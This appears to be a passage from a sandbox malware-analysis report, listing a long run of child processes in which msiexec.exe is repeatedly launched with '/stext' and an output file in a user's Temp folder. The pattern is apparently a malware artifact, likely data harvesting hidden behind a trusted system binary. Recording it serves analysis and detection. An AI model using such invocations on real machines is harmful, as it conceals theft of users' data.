    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1752
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2368
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4536
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4392
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2648
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3320
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1620
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3496
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3412
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3784
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2664
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2996
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2916
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3484
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5096
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1912
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3660
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2012
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3568
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3472
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1588
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1540
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2616
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3792
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1600
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2548
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2072
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3184
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3024
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1228
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2864
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4460
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3032
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1924
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2824
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3960
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1236
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1580
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4384
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5000
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4380
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4668
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4860
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2504
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3252
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4256
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2136
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3740
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4544
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2596
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3108
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1792
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1968
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2248
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4784
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:228
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3300
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3136
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4028
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1612
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4272
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1104
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3232
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:216
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3924
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3204
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4980
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3744
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3640
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1872
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:648
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2056
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3336
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3648
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2104
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2348
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2500
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1676
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4776
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2252
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:244
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2228
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4700
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3416
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2696
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1920
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1260
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4476
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3916
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4848
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1980
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4696
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:556
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:960
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1944
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4500
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:452
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4120
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4064
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4052
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4832
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4720
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4804
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4796
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4840
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1356
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:928
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4400
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2552
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2984
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2388
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2776
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4944
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4452
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4496
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4856
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:384
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3880
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:652
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4328
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4552
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4736
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2524
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2972
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:5068
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1492
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:220
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1432
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:768
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1368
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4060
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:748
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:1624
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:4004
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:2168
- - C:\Windows\SysWOW64\msiexec.exe
    C:\Windows\System32\msiexec.exe /stext "C:\Users\Admin\AppData\Local\Temp\znxxceupxqwndtdpdxcwefijqrgnt"
    3⤵
    PID:3644
